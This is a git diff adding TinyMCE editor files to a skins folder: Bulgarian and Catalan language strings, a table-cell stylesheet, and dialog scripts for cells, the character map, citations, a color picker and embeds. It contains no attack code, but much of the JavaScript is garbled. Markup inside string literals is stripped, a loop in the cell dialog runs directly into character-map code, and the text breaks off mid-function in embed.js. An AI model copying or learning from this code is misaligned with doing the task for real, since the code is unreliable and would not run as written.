\u0441\u0438\u043c\u0432\u043e\u043b","backcolor_desc":"\u0418\u0437\u0431\u0435\u0440\u0438 \u0446\u0432\u044f\u0442 \u043d\u0430 \u0444\u043e\u043d\u0430","forecolor_desc":"\u0418\u0437\u0431\u0435\u0440\u0438 \u0446\u0432\u044f\u0442 \u043d\u0430 \u0442\u0435\u043a\u0441\u0442\u0430","custom1_desc":"\u0412\u0430\u0448\u0435\u0442\u043e \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435 \u0442\u0443\u043a","removeformat_desc":"\u041f\u0440\u0435\u043c\u0430\u0445\u043d\u0438 \u0444\u043e\u0440\u043c\u0430\u0442\u0438\u0440\u0430\u043d\u0435\u0442\u043e","hr_desc":"\u0412\u043c\u044a\u043a\u043d\u0438 \u0445\u043e\u0440\u0438\u0437\u043e\u043d\u0442\u0430\u043b\u043d\u0430 \u043b\u0438\u043d\u0438\u044f","sup_desc":"\u0413\u043e\u0440\u0435\u043d \u0438\u043d\u0434\u0435\u043a\u0441","sub_desc":"\u0414\u043e\u043b\u0435\u043d \u0438\u043d\u0434\u0435\u043a\u0441","code_desc":"\u0420\u0435\u0434\u0430\u043a\u0442\u0438\u0440\u0430\u0439 HTML","cleanup_desc":"\u0418\u0437\u0447\u0438\u0441\u0442\u0438 \u043a\u043e\u0434\u0430","image_desc":"\u0412\u043c\u044a\u043a\u0432\u0430\u043d\u0435/\u0440\u0435\u0434\u0430\u043a\u0446\u0438\u044f \u043d\u0430 \u043a\u0430\u0440\u0442\u0438\u043d\u043a\u0430","unlink_desc":"\u041f\u0440\u0435\u043c\u0430\u0445\u043d\u0438 \u0445\u0438\u043f\u0435\u0440\u0432\u0440\u044a\u0437\u043a\u0430","link_desc":"\u0412\u043c\u044a\u043a\u0432\u0430\u043d\u0435/\u0440\u0435\u0434\u0430\u043a\u0446\u0438\u044f \u043d\u0430 \u0445\u0438\u043f\u0435\u0440\u0432\u0440\u044a\u0437\u043a\u0430","redo_desc":"\u0412\u044a\u0437\u0441\u0442\u0430\u043d\u043e\u0432\u044f\u0432\u0430\u043d\u0435 (Ctrl+Y)","undo_desc":"\u041e\u0442\u043c\u044f\u043d\u0430 (Ctrl+Z)","indent_desc":"\u0423\u0432\u0435\u043b\u0438\u0447\u0430\u0432\u0430\u043d\u0435 \u043d\u0430 \u043e\u0442\u0441\u0442\u044a\u043f\u0430","outdent_desc":"\u041d\u0430\u043c\u0430\u043b\u044f\u0432\u0430\u043d\u0435 \u043d\u0430 \u043e\u0442\u0441\u0442\u044a\u043f\u0430","numlist_desc":"\u041d\u043e\u043c\u0435\u0440\u0430","bullist_desc":"\u0412\u043e\u0434\u0430\u0447\u0438","justifyfull_desc":"\u0414\u0432\u0443\u0441\u0442\u0440\u0430\u043d\u043d\u043e","justifyright_desc":"\u041f\u043e\u0434\u0440\u0430\u0432\u043d\u044f\u0432\u0430\u043d\u0435 \u043e\u0442\u0434\u044f\u0441\u043d\u043e","justifycenter_desc":"\u0426\u0435\u043d\u0442\u0440\u0438\u0440\u0430\u043d\u043e","justifyleft_desc":"\u041f\u043e\u0434\u0440\u0430\u0432\u043d\u044f\u0432\u0430\u043d\u0435 \u043e\u0442\u043b\u044f\u0432\u043e","striketrough_desc":"\u0417\u0430\u0447\u0435\u0440\u0442\u0430\u043d","help_shortcut":"\u041d\u0430\u0442\u0438\u0441\u043d\u0435\u0442\u0435 ALT-F10 \u0437\u0430 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0438. \u041d\u0430\u0442\u0438\u0441\u043d\u0435\u0442\u0435 ALT-0 \u0437\u0430 \u043f\u043e\u043c\u043e\u0449","rich_text_area":"\u0417\u043e\u043d\u0430 \u0441\u0432\u043e\u0431\u043e\u0434\u0435\u043d \u0442\u0435\u043a\u0441\u0442","shortcuts_desc":"\u0417\u0430 \u0434\u043e\u0441\u0442\u044a\u043f \u0434\u043e Help",toolbar:"\u0418\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0438","anchor_delta_width":"","charmap_delta_height":"","charmap_delta_width":"","colorpicker_delta_height":"","colorpicker_delta_width":"","link_delta_height":"","link_delta_width":"","image_delta_height":"","image_delta_width":""}); \ No newline at end of file diff --git a/js/tiny_mce2/themes/advanced/skins/o2k7/bg_dlg.js b/js/tiny_mce2/themes/advanced/skins/o2k7/bg_dlg.js new file mode 100755 index 0000000..50d9d37 --- /dev/null +++ b/js/tiny_mce2/themes/advanced/skins/o2k7/bg_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('bg.advhr_dlg',{size:"\u0412\u0438\u0441\u043e\u0447\u0438\u043d\u0430",noshade:"\u0411\u0435\u0437 \u0441\u044f\u043d\u043a\u0430",width:"\u0428\u0438\u0440\u0438\u043d\u0430",normal:"\u041d\u043e\u0440\u043c\u0430\u043b\u043d\u0430",widthunits:"\u0415\u0434\u0438\u043d\u0438\u0446\u0438"}); \ No newline at end of file diff --git a/js/tiny_mce2/themes/advanced/skins/o2k7/ca.js b/js/tiny_mce2/themes/advanced/skins/o2k7/ca.js new file mode 100755 index 0000000..4e4be8e --- /dev/null +++ b/js/tiny_mce2/themes/advanced/skins/o2k7/ca.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ca.advanced',{"underline_desc":"Subratllat (Ctrl+U)","italic_desc":"Cursiva (Ctrl+I)","bold_desc":"Negreta (Ctrl+B)",dd:"Descripci\u00f3 de definici\u00f3",dt:"Terme de definici\u00f3 ",samp:"Mostra el Codi",code:"Codi",blockquote:"Citabloc",h6:"Encap\u00e7alament 6",h5:"Encap\u00e7alament 5",h4:"Encap\u00e7alament 4",h3:"Encap\u00e7alament 3",h2:"Encap\u00e7alament 2",h1:"Encap\u00e7alament 1",pre:"Preformatat",address:"Adre\u00e7a",div:"Capa",paragraph:"Par\u00e0graf",block:"Format",fontdefault:"Fam\u00edlia de font","font_size":"Mida de font","style_select":"Estils","more_colors":"M\u00e9s colors","toolbar_focus":"Salta als botons d\'eina - Alt Q, Salta a l\'editor - Alt-Z, Salta al cam\u00ed de l\'element - Alt-X",newdocument:"Esteu segur que voleu buidar tots els continguts?",path:"Cam\u00ed","clipboard_msg":"Copia/Retalla/Enganxa no es troba disponible ni al Mozilla ni al Firefox. Voleu m\u00e9s informaci\u00f3 sobre aix\u00f2?","blockquote_desc":"Citabloc","help_desc":"Ajuda","newdocument_desc":"Nou document","image_props_desc":"Propietats de la imatge","paste_desc":"Enganxa","copy_desc":"Copia","cut_desc":"Retalla","anchor_desc":"Insereix/edita \u00e0ncora","visualaid_desc":"Commuta elements guies/invisibles","charmap_desc":"Insereix un car\u00e0cter","backcolor_desc":"Selecci\u00f3 del color de fons","forecolor_desc":"Selecci\u00f3 del color de text","custom1_desc":"Aqu\u00ed la vostra pr\u00f2pia descripci\u00f3","removeformat_desc":"Elimina el format","hr_desc":"Insereix un filet horitzontal","sup_desc":"Super\u00edndex","sub_desc":"Sub\u00edndex","code_desc":"Edita el codi font HTML","cleanup_desc":"Poleix el codi","image_desc":"Insereix/edita imatge","unlink_desc":"Desenlla\u00e7a","link_desc":"Insereix/edita enlla\u00e7","redo_desc":"Ref\u00e9s (Ctrl+Y)","undo_desc":"Desf\u00e9s (Ctrl+Z)","indent_desc":"Augmenta el sagnat","outdent_desc":"Redueix el sagnat","numlist_desc":"Llista numerada","bullist_desc":"Llista no numerada","justifyfull_desc":"Justificat","justifyright_desc":"Alineaci\u00f3 dreta","justifycenter_desc":"Alineaci\u00f3 al centre","justifyleft_desc":"Alineaci\u00f3 esquerra","striketrough_desc":"Barrat","help_shortcut":"Prem ALT-F10 per barra d\'eines. Prem ALT-0 per ajuda","rich_text_area":"\u00c0rea de Text Enriquit","shortcuts_desc":"Ajuda d\'Accessabilitat",toolbar:"Barra d\'eines","anchor_delta_height":"","anchor_delta_width":"","charmap_delta_height":"","charmap_delta_width":"","colorpicker_delta_height":"","colorpicker_delta_width":"","link_delta_height":"","link_delta_width":"","image_delta_height":"","image_delta_width":""}); \ No newline at end of file diff --git a/js/tiny_mce2/themes/advanced/skins/o2k7/ca_dlg.js b/js/tiny_mce2/themes/advanced/skins/o2k7/ca_dlg.js new file mode 100755 index 0000000..4ef7222 --- /dev/null +++ b/js/tiny_mce2/themes/advanced/skins/o2k7/ca_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ca.advhr_dlg',{size:"Al\u00e7ada",noshade:"Sense sombra",width:"Amplada",normal:"Normal",widthunits:"Unitats"}); \ No newline at end of file diff --git a/js/tiny_mce2/themes/advanced/skins/o2k7/cell.css b/js/tiny_mce2/themes/advanced/skins/o2k7/cell.css new file mode 100755 index 0000000..a47cc1a --- /dev/null +++ b/js/tiny_mce2/themes/advanced/skins/o2k7/cell.css @@ -0,0 +1,17 @@ +/* CSS file for cell dialog in the table plugin */ + +.panel_wrapper div.current { + height: 200px; +} + +.advfield { + width: 200px; +} + +#action { + margin-bottom: 3px; +} + +#class { + width: 150px; +} \ No newline at end of file diff --git a/js/tiny_mce2/themes/advanced/skins/o2k7/cell.js b/js/tiny_mce2/themes/advanced/skins/o2k7/cell.js new file mode 100755 index 0000000..53bdb54 --- /dev/null +++ b/js/tiny_mce2/themes/advanced/skins/o2k7/cell.js @@ -0,0 +1,319 @@ +tinyMCEPopup.requireLangPack(); + +var ed; + +function init() { + ed = tinyMCEPopup.editor; + tinyMCEPopup.resizeToInnerSize(); + + document.getElementById('backgroundimagebrowsercontainer').innerHTML = getBrowserHTML('backgroundimagebrowser','backgroundimage','image','table'); + document.getElementById('bordercolor_pickcontainer').innerHTML = getColorPickerHTML('bordercolor_pick','bordercolor'); + document.getElementById('bgcolor_pickcontainer').innerHTML = getColorPickerHTML('bgcolor_pick','bgcolor') + + var inst = ed; + var tdElm = ed.dom.getParent(ed.selection.getStart(), "td,th"); + var formObj = document.forms[0]; + var st = ed.dom.parseStyle(ed.dom.getAttrib(tdElm, "style")); + + // Get table cell data + var celltype = tdElm.nodeName.toLowerCase(); + var align = ed.dom.getAttrib(tdElm, 'align'); + var valign = ed.dom.getAttrib(tdElm, 'valign'); + var width = trimSize(getStyle(tdElm, 'width', 'width')); + var height = trimSize(getStyle(tdElm, 'height', 'height')); + var bordercolor = convertRGBToHex(getStyle(tdElm, 'bordercolor', 'borderLeftColor')); + var bgcolor = convertRGBToHex(getStyle(tdElm, 'bgcolor', 'backgroundColor')); + var className = ed.dom.getAttrib(tdElm, 'class'); + var backgroundimage = getStyle(tdElm, 'background', 'backgroundImage').replace(new RegExp("url\\(['\"]?([^'\"]*)['\"]?\\)", 'gi'), "$1"); + var id = ed.dom.getAttrib(tdElm, 'id'); + var lang = ed.dom.getAttrib(tdElm, 'lang'); + var dir = ed.dom.getAttrib(tdElm, 'dir'); + var scope = ed.dom.getAttrib(tdElm, 'scope'); + + // Setup form + addClassesToList('class', 'table_cell_styles'); + TinyMCE_EditableSelects.init(); + + if (!ed.dom.hasClass(tdElm, 'mceSelected')) { + formObj.bordercolor.value = bordercolor; + formObj.bgcolor.value = bgcolor; + formObj.backgroundimage.value = backgroundimage; + formObj.width.value = width; + formObj.height.value = height; + formObj.id.value = id; + formObj.lang.value = lang; + formObj.style.value = ed.dom.serializeStyle(st); + selectByValue(formObj, 'align', align); + selectByValue(formObj, 'valign', valign); + selectByValue(formObj, 'class', className, true, true); + selectByValue(formObj, 'celltype', celltype); + selectByValue(formObj, 'dir', dir); + selectByValue(formObj, 'scope', scope); + + // Resize some elements + if (isVisible('backgroundimagebrowser')) + document.getElementById('backgroundimage').style.width = '180px'; + + updateColor('bordercolor_pick', 'bordercolor'); + updateColor('bgcolor_pick', 'bgcolor'); + } else + tinyMCEPopup.dom.hide('action'); +} + +function updateAction() { + var el, inst = ed, tdElm, trElm, tableElm, formObj = document.forms[0]; + + if (!AutoValidator.validate(formObj)) { + tinyMCEPopup.alert(AutoValidator.getErrorMessages(formObj).join('. ') + '.'); + return false; + } + + tinyMCEPopup.restoreSelection(); + el = ed.selection.getStart(); + tdElm = ed.dom.getParent(el, "td,th"); + trElm = ed.dom.getParent(el, "tr"); + tableElm = ed.dom.getParent(el, "table"); + + // Cell is selected + if (ed.dom.hasClass(tdElm, 'mceSelected')) { + // Update all selected sells + tinymce.each(ed.dom.select('td.mceSelected,th.mceSelected'), function(td) { + updateCell(td); + }); + + ed.addVisual(); + ed.nodeChanged(); + inst.execCommand('mceEndUndoLevel'); + tinyMCEPopup.close(); + return; + } + + switch (getSelectValue(formObj, 'action')) { + case "cell": + var celltype = getSelectValue(formObj, 'celltype'); + var scope = getSelectValue(formObj, 'scope'); + + function doUpdate(s) { + if (s) { + updateCell(tdElm); + + ed.addVisual(); + ed.nodeChanged(); + inst.execCommand('mceEndUndoLevel'); + tinyMCEPopup.close(); + } + }; + + if (ed.getParam("accessibility_warnings", 1)) { + if (celltype == "th" && scope == "") + tinyMCEPopup.confirm(ed.getLang('table_dlg.missing_scope', '', true), doUpdate); + else + doUpdate(1); + + return; + } + + updateCell(tdElm); + break; + + case "row": + var cell = trElm.firstChild; + + if (cell.nodeName != "TD" && cell.nodeName != "TH") + cell = nextCell(cell); + + do { + cell = updateCell(cell, true); + } while ((cell = nextCell(cell)) != null); + + break; + + case "col": + var curr, col = 0, cell = trElm.firstChild, rows = tableElm.getElementsByTagName("tr"); + + if (cell.nodeName != "TD" && cell.nodeName != "TH") + cell = nextCell(cell); + + do { + if (cell == tdElm) + break; + col += cell.getAttribute("colspan"); + } while ((cell = nextCell(cell)) != null); + + for (var i=0; i'; + var cols=-1; + + for (i=0; i' + + '' + + charmap[i][1] + + ''; + if ((cols+1) % charsPerRow == 0) + html += ''; + } + } + + if (cols % charsPerRow > 0) { + var padd = charsPerRow - (cols % charsPerRow); + for (var i=0; i '; + } + + html += ''; + html = html.replace(/<\/tr>/g, ''); + + return html; +} + +function insertChar(chr) { + tinyMCEPopup.execCommand('mceInsertContent', false, '&#' + chr + ';'); + + // Refocus in window + if (tinyMCEPopup.isWindow) + window.focus(); + + tinyMCEPopup.editor.focus(); + tinyMCEPopup.close(); +} + +function previewChar(codeA, codeB, codeN) { + var elmA = document.getElementById('codeA'); + var elmB = document.getElementById('codeB'); + var elmV = document.getElementById('codeV'); + var elmN = document.getElementById('codeN'); + + if (codeA=='#160;') { + elmV.innerHTML = '__'; + } else { + elmV.innerHTML = '&' + codeA; + } + + elmB.innerHTML = '&' + codeA; + elmA.innerHTML = '&' + codeB; + elmN.innerHTML = codeN; +} diff --git a/js/tiny_mce2/themes/advanced/skins/o2k7/cite.js b/js/tiny_mce2/themes/advanced/skins/o2k7/cite.js new file mode 100755 index 0000000..b73ef47 --- /dev/null +++ b/js/tiny_mce2/themes/advanced/skins/o2k7/cite.js @@ -0,0 +1,28 @@ +/** + * cite.js + * + * Copyright 2009, Moxiecode Systems AB + * Released under LGPL License. + * + * License: http://tinymce.moxiecode.com/license + * Contributing: http://tinymce.moxiecode.com/contributing + */ + +function init() { + SXE.initElementDialog('cite'); + if (SXE.currentAction == "update") { + SXE.showRemoveButton(); + } +} + +function insertCite() { + SXE.insertElement('cite'); + tinyMCEPopup.close(); +} + +function removeCite() { + SXE.removeElement('cite'); + tinyMCEPopup.close(); +} + +tinyMCEPopup.onInit.add(init); diff --git a/js/tiny_mce2/themes/advanced/skins/o2k7/color_picker.js b/js/tiny_mce2/themes/advanced/skins/o2k7/color_picker.js new file mode 100755 index 0000000..3cbf32c --- /dev/null +++ b/js/tiny_mce2/themes/advanced/skins/o2k7/color_picker.js @@ -0,0 +1,329 @@ +tinyMCEPopup.requireLangPack(); + +var detail = 50, strhex = "0123456789abcdef", i, isMouseDown = false, isMouseOver = false; + +var colors = [ + "#000000","#000033","#000066","#000099","#0000cc","#0000ff","#330000","#330033", + "#330066","#330099","#3300cc","#3300ff","#660000","#660033","#660066","#660099", + "#6600cc","#6600ff","#990000","#990033","#990066","#990099","#9900cc","#9900ff", + "#cc0000","#cc0033","#cc0066","#cc0099","#cc00cc","#cc00ff","#ff0000","#ff0033", + "#ff0066","#ff0099","#ff00cc","#ff00ff","#003300","#003333","#003366","#003399", + "#0033cc","#0033ff","#333300","#333333","#333366","#333399","#3333cc","#3333ff", + "#663300","#663333","#663366","#663399","#6633cc","#6633ff","#993300","#993333", + "#993366","#993399","#9933cc","#9933ff","#cc3300","#cc3333","#cc3366","#cc3399", + "#cc33cc","#cc33ff","#ff3300","#ff3333","#ff3366","#ff3399","#ff33cc","#ff33ff", + "#006600","#006633","#006666","#006699","#0066cc","#0066ff","#336600","#336633", + "#336666","#336699","#3366cc","#3366ff","#666600","#666633","#666666","#666699", + "#6666cc","#6666ff","#996600","#996633","#996666","#996699","#9966cc","#9966ff", + "#cc6600","#cc6633","#cc6666","#cc6699","#cc66cc","#cc66ff","#ff6600","#ff6633", + "#ff6666","#ff6699","#ff66cc","#ff66ff","#009900","#009933","#009966","#009999", + "#0099cc","#0099ff","#339900","#339933","#339966","#339999","#3399cc","#3399ff", + "#669900","#669933","#669966","#669999","#6699cc","#6699ff","#999900","#999933", + "#999966","#999999","#9999cc","#9999ff","#cc9900","#cc9933","#cc9966","#cc9999", + "#cc99cc","#cc99ff","#ff9900","#ff9933","#ff9966","#ff9999","#ff99cc","#ff99ff", + "#00cc00","#00cc33","#00cc66","#00cc99","#00cccc","#00ccff","#33cc00","#33cc33", + "#33cc66","#33cc99","#33cccc","#33ccff","#66cc00","#66cc33","#66cc66","#66cc99", + "#66cccc","#66ccff","#99cc00","#99cc33","#99cc66","#99cc99","#99cccc","#99ccff", + "#cccc00","#cccc33","#cccc66","#cccc99","#cccccc","#ccccff","#ffcc00","#ffcc33", + "#ffcc66","#ffcc99","#ffcccc","#ffccff","#00ff00","#00ff33","#00ff66","#00ff99", + "#00ffcc","#00ffff","#33ff00","#33ff33","#33ff66","#33ff99","#33ffcc","#33ffff", + "#66ff00","#66ff33","#66ff66","#66ff99","#66ffcc","#66ffff","#99ff00","#99ff33", + "#99ff66","#99ff99","#99ffcc","#99ffff","#ccff00","#ccff33","#ccff66","#ccff99", + "#ccffcc","#ccffff","#ffff00","#ffff33","#ffff66","#ffff99","#ffffcc","#ffffff" +]; + +var named = { + '#F0F8FF':'Alice Blue','#FAEBD7':'Antique White','#00FFFF':'Aqua','#7FFFD4':'Aquamarine','#F0FFFF':'Azure','#F5F5DC':'Beige', + '#FFE4C4':'Bisque','#000000':'Black','#FFEBCD':'Blanched Almond','#0000FF':'Blue','#8A2BE2':'Blue Violet','#A52A2A':'Brown', + '#DEB887':'Burly Wood','#5F9EA0':'Cadet Blue','#7FFF00':'Chartreuse','#D2691E':'Chocolate','#FF7F50':'Coral','#6495ED':'Cornflower Blue', + '#FFF8DC':'Cornsilk','#DC143C':'Crimson','#00FFFF':'Cyan','#00008B':'Dark Blue','#008B8B':'Dark Cyan','#B8860B':'Dark Golden Rod', + '#A9A9A9':'Dark Gray','#A9A9A9':'Dark Grey','#006400':'Dark Green','#BDB76B':'Dark Khaki','#8B008B':'Dark Magenta','#556B2F':'Dark Olive Green', + '#FF8C00':'Darkorange','#9932CC':'Dark Orchid','#8B0000':'Dark Red','#E9967A':'Dark Salmon','#8FBC8F':'Dark Sea Green','#483D8B':'Dark Slate Blue', + '#2F4F4F':'Dark Slate Gray','#2F4F4F':'Dark Slate Grey','#00CED1':'Dark Turquoise','#9400D3':'Dark Violet','#FF1493':'Deep Pink','#00BFFF':'Deep Sky Blue', + '#696969':'Dim Gray','#696969':'Dim Grey','#1E90FF':'Dodger Blue','#B22222':'Fire Brick','#FFFAF0':'Floral White','#228B22':'Forest Green', + '#FF00FF':'Fuchsia','#DCDCDC':'Gainsboro','#F8F8FF':'Ghost White','#FFD700':'Gold','#DAA520':'Golden Rod','#808080':'Gray','#808080':'Grey', + '#008000':'Green','#ADFF2F':'Green Yellow','#F0FFF0':'Honey Dew','#FF69B4':'Hot Pink','#CD5C5C':'Indian Red','#4B0082':'Indigo','#FFFFF0':'Ivory', + '#F0E68C':'Khaki','#E6E6FA':'Lavender','#FFF0F5':'Lavender Blush','#7CFC00':'Lawn Green','#FFFACD':'Lemon Chiffon','#ADD8E6':'Light Blue', + '#F08080':'Light Coral','#E0FFFF':'Light Cyan','#FAFAD2':'Light Golden Rod Yellow','#D3D3D3':'Light Gray','#D3D3D3':'Light Grey','#90EE90':'Light Green', + '#FFB6C1':'Light Pink','#FFA07A':'Light Salmon','#20B2AA':'Light Sea Green','#87CEFA':'Light Sky Blue','#778899':'Light Slate Gray','#778899':'Light Slate Grey', + '#B0C4DE':'Light Steel Blue','#FFFFE0':'Light Yellow','#00FF00':'Lime','#32CD32':'Lime Green','#FAF0E6':'Linen','#FF00FF':'Magenta','#800000':'Maroon', + '#66CDAA':'Medium Aqua Marine','#0000CD':'Medium Blue','#BA55D3':'Medium Orchid','#9370D8':'Medium Purple','#3CB371':'Medium Sea Green','#7B68EE':'Medium Slate Blue', + '#00FA9A':'Medium Spring Green','#48D1CC':'Medium Turquoise','#C71585':'Medium Violet Red','#191970':'Midnight Blue','#F5FFFA':'Mint Cream','#FFE4E1':'Misty Rose','#FFE4B5':'Moccasin', + '#FFDEAD':'Navajo White','#000080':'Navy','#FDF5E6':'Old Lace','#808000':'Olive','#6B8E23':'Olive Drab','#FFA500':'Orange','#FF4500':'Orange Red','#DA70D6':'Orchid', + '#EEE8AA':'Pale Golden Rod','#98FB98':'Pale Green','#AFEEEE':'Pale Turquoise','#D87093':'Pale Violet Red','#FFEFD5':'Papaya Whip','#FFDAB9':'Peach Puff', + '#CD853F':'Peru','#FFC0CB':'Pink','#DDA0DD':'Plum','#B0E0E6':'Powder Blue','#800080':'Purple','#FF0000':'Red','#BC8F8F':'Rosy Brown','#4169E1':'Royal Blue', + '#8B4513':'Saddle Brown','#FA8072':'Salmon','#F4A460':'Sandy Brown','#2E8B57':'Sea Green','#FFF5EE':'Sea Shell','#A0522D':'Sienna','#C0C0C0':'Silver', + '#87CEEB':'Sky Blue','#6A5ACD':'Slate Blue','#708090':'Slate Gray','#708090':'Slate Grey','#FFFAFA':'Snow','#00FF7F':'Spring Green', + '#4682B4':'Steel Blue','#D2B48C':'Tan','#008080':'Teal','#D8BFD8':'Thistle','#FF6347':'Tomato','#40E0D0':'Turquoise','#EE82EE':'Violet', + '#F5DEB3':'Wheat','#FFFFFF':'White','#F5F5F5':'White Smoke','#FFFF00':'Yellow','#9ACD32':'Yellow Green' +}; + +var namedLookup = {}; + +function init() { + var inputColor = convertRGBToHex(tinyMCEPopup.getWindowArg('input_color')), key, value; + + tinyMCEPopup.resizeToInnerSize(); + + generatePicker(); + generateWebColors(); + generateNamedColors(); + + if (inputColor) { + changeFinalColor(inputColor); + + col = convertHexToRGB(inputColor); + + if (col) + updateLight(col.r, col.g, col.b); + } + + for (key in named) { + value = named[key]; + namedLookup[value.replace(/\s+/, '').toLowerCase()] = key.replace(/#/, '').toLowerCase(); + } +} + +function toHexColor(color) { + var matches, red, green, blue, toInt = parseInt; + + function hex(value) { + value = parseInt(value).toString(16); + + return value.length > 1 ? value : '0' + value; // Padd with leading zero + }; + + color = color.replace(/[\s#]+/g, '').toLowerCase(); + color = namedLookup[color] || color; + matches = /^rgb\((\d{1,3}),(\d{1,3}),(\d{1,3})\)|([a-f0-9]{2})([a-f0-9]{2})([a-f0-9]{2})|([a-f0-9])([a-f0-9])([a-f0-9])$/.exec(color); + + if (matches) { + if (matches[1]) { + red = toInt(matches[1]); + green = toInt(matches[2]); + blue = toInt(matches[3]); + } else if (matches[4]) { + red = toInt(matches[4], 16); + green = toInt(matches[5], 16); + blue = toInt(matches[6], 16); + } else if (matches[7]) { + red = toInt(matches[7] + matches[7], 16); + green = toInt(matches[8] + matches[8], 16); + blue = toInt(matches[9] + matches[9], 16); + } + + return '#' + hex(red) + hex(green) + hex(blue); + } + + return ''; +} + +function insertAction() { + var color = document.getElementById("color").value, f = tinyMCEPopup.getWindowArg('func'); + + tinyMCEPopup.restoreSelection(); + + if (f) + f(toHexColor(color)); + + tinyMCEPopup.close(); +} + +function showColor(color, name) { + if (name) + document.getElementById("colorname").innerHTML = name; + + document.getElementById("preview").style.backgroundColor = color; + document.getElementById("color").value = color.toUpperCase(); +} + +function convertRGBToHex(col) { + var re = new RegExp("rgb\\s*\\(\\s*([0-9]+).*,\\s*([0-9]+).*,\\s*([0-9]+).*\\)", "gi"); + + if (!col) + return col; + + var rgb = col.replace(re, "$1,$2,$3").split(','); + if (rgb.length == 3) { + r = parseInt(rgb[0]).toString(16); + g = parseInt(rgb[1]).toString(16); + b = parseInt(rgb[2]).toString(16); + + r = r.length == 1 ? '0' + r : r; + g = g.length == 1 ? '0' + g : g; + b = b.length == 1 ? '0' + b : b; + + return "#" + r + g + b; + } + + return col; +} + +function convertHexToRGB(col) { + if (col.indexOf('#') != -1) { + col = col.replace(new RegExp('[^0-9A-F]', 'gi'), ''); + + r = parseInt(col.substring(0, 2), 16); + g = parseInt(col.substring(2, 4), 16); + b = parseInt(col.substring(4, 6), 16); + + return {r : r, g : g, b : b}; + } + + return null; +} + +function generatePicker() { + var el = document.getElementById('light'), h = '', i; + + for (i = 0; i < detail; i++){ + h += '
    '; + } + + el.innerHTML = h; +} + +function generateWebColors() { + var el = document.getElementById('webcolors'), h = '', i; + + if (el.className == 'generated') + return; + + // TODO: VoiceOver doesn't seem to support legend as a label referenced by labelledby. + h += '
    ' + + ''; + + for (i=0; i' + + ''; + if (tinyMCEPopup.editor.forcedHighContrastMode) { + h += ''; + } + h += ''; + h += ''; + if ((i+1) % 18 == 0) + h += ''; + } + + h += '
    '; + + el.innerHTML = h; + el.className = 'generated'; + + paintCanvas(el); + enableKeyboardNavigation(el.firstChild); +} + +function paintCanvas(el) { + tinyMCEPopup.getWin().tinymce.each(tinyMCEPopup.dom.select('canvas.mceColorSwatch', el), function(canvas) { + var context; + if (canvas.getContext && (context = canvas.getContext("2d"))) { + context.fillStyle = canvas.getAttribute('data-color'); + context.fillRect(0, 0, 10, 10); + } + }); +} +function generateNamedColors() { + var el = document.getElementById('namedcolors'), h = '', n, v, i = 0; + + if (el.className == 'generated') + return; + + for (n in named) { + v = named[n]; + h += ''; + if (tinyMCEPopup.editor.forcedHighContrastMode) { + h += ''; + } + h += ''; + h += ''; + i++; + } + + el.innerHTML = h; + el.className = 'generated'; + + paintCanvas(el); + enableKeyboardNavigation(el); +} + +function enableKeyboardNavigation(el) { + tinyMCEPopup.editor.windowManager.createInstance('tinymce.ui.KeyboardNavigation', { + root: el, + items: tinyMCEPopup.dom.select('a', el) + }, tinyMCEPopup.dom); +} + +function dechex(n) { + return strhex.charAt(Math.floor(n / 16)) + strhex.charAt(n % 16); +} + +function computeColor(e) { + var x, y, partWidth, partDetail, imHeight, r, g, b, coef, i, finalCoef, finalR, finalG, finalB, pos = tinyMCEPopup.dom.getPos(e.target); + + x = e.offsetX ? e.offsetX : (e.target ? e.clientX - pos.x : 0); + y = e.offsetY ? e.offsetY : (e.target ? e.clientY - pos.y : 0); + + partWidth = document.getElementById('colors').width / 6; + partDetail = detail / 2; + imHeight = document.getElementById('colors').height; + + r = (x >= 0)*(x < partWidth)*255 + (x >= partWidth)*(x < 2*partWidth)*(2*255 - x * 255 / partWidth) + (x >= 4*partWidth)*(x < 5*partWidth)*(-4*255 + x * 255 / partWidth) + (x >= 5*partWidth)*(x < 6*partWidth)*255; + g = (x >= 0)*(x < partWidth)*(x * 255 / partWidth) + (x >= partWidth)*(x < 3*partWidth)*255 + (x >= 3*partWidth)*(x < 4*partWidth)*(4*255 - x * 255 / partWidth); + b = (x >= 2*partWidth)*(x < 3*partWidth)*(-2*255 + x * 255 / partWidth) + (x >= 3*partWidth)*(x < 5*partWidth)*255 + (x >= 5*partWidth)*(x < 6*partWidth)*(6*255 - x * 255 / partWidth); + + coef = (imHeight - y) / imHeight; + r = 128 + (r - 128) * coef; + g = 128 + (g - 128) * coef; + b = 128 + (b - 128) * coef; + + changeFinalColor('#' + dechex(r) + dechex(g) + dechex(b)); + updateLight(r, g, b); +} + +function updateLight(r, g, b) { + var i, partDetail = detail / 2, finalCoef, finalR, finalG, finalB, color; + + for (i=0; i=0) && (i 0) { + insertInlineElement('del'); + var elementArray = SXE.inst.dom.select('del[data-mce-new]'); + for (var i=0; i 0) { + tagName = element_name; + + insertInlineElement(element_name); + var elementArray = tinymce.grep(SXE.inst.dom.select(element_name)); + for (var i=0; i -1) ? true : false; +} + +SXE.removeClass = function(elm,cl) { + if(elm.className == null || elm.className == "" || !SXE.containsClass(elm,cl)) { + return true; + } + var classNames = elm.className.split(" "); + var newClassNames = ""; + for (var x = 0, cnl = classNames.length; x < cnl; x++) { + if (classNames[x] != cl) { + newClassNames += (classNames[x] + " "); + } + } + elm.className = newClassNames.substring(0,newClassNames.length-1); //removes extra space at the end +} + +SXE.addClass = function(elm,cl) { + if(!SXE.containsClass(elm,cl)) elm.className ? elm.className += " " + cl : elm.className = cl; + return true; +} + +function insertInlineElement(en) { + var ed = tinyMCEPopup.editor, dom = ed.dom; + + ed.getDoc().execCommand('FontName', false, 'mceinline'); + tinymce.each(dom.select('span,font'), function(n) { + if (n.style.fontFamily == 'mceinline' || n.face == 'mceinline') + dom.replace(dom.create(en, {'data-mce-new' : 1}), n, 1); + }); +} diff --git a/js/tiny_mce2/themes/advanced/skins/o2k7/embed.js b/js/tiny_mce2/themes/advanced/skins/o2k7/embed.js new file mode 100755 index 0000000..6fe25de --- /dev/null +++ b/js/tiny_mce2/themes/advanced/skins/o2k7/embed.js @@ -0,0 +1,73 @@ +/** + * This script contains embed functions for common plugins. This scripts are complety free to use for any purpose. + */ + +function writeFlash(p) { + writeEmbed( + 